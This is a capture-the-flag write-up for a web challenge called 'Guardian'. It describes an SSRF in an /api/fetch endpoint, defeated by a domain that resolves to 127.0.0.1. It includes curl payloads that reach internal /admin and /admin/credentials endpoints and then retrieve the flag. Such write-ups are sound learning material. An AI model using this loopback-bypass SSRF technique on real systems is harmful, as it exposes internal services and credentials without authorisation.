Guardian

[Web] Guardian - 350

We are given with the link to to https://guardian.project-ag.org

Guardian Home Page

Looking at the home page and the functional APIs we’re presented, we can do some kind of SSRF to /api/fetch.

We tested out how the /api/fetch works by accesing it first directly.

Guardian

With the returned info by the api endpoint, we can now send POST or GET methods on reachable endpoints allowed by it. However, (not in screenshot) it says that it has protection to internal access attempts. So we thought that what if we use a registered domain that points to 127.0.0.1? fbi.com seems to fit our requirement.

Guardian

Additionally, during the CTF, a hint was given it was only “30070”. We figured it may be the internal service port we have to connect to. So we tried it…

curl 'https://guardian.project-ag.org/api/fetch' -X POST -H "Content-Type: application/json" -d '{"url":"http://fbi.com:30070", "data":{}, "method":"GET"}'

Guardian

And it worked! We tried accessing /admin and it returned more info.

curl 'https://guardian.project-ag.org/api/fetch' -X POST -H "Content-Type: application/json" -d '{"url":"http://fbi.com:30070/admin", "data":{}, "method":"GET"}'

Guardian

According to the info, there’s also an endpoint to /admin/credentials.

curl 'https://guardian.project-ag.org/api/fetch' -X POST -H "Content-Type: application/json" -d '{"url":"http://fbi.com:30070/admin/credentials", "data":{}, "method":"GET"}'

Guardian

We tried cracking the hash but we didn’t get any result so we tried to pass it as an argument to /admin/flag.

Guardian

We got the flag.

me

I am Jethro Magbanua (FriedTempura / Altelus).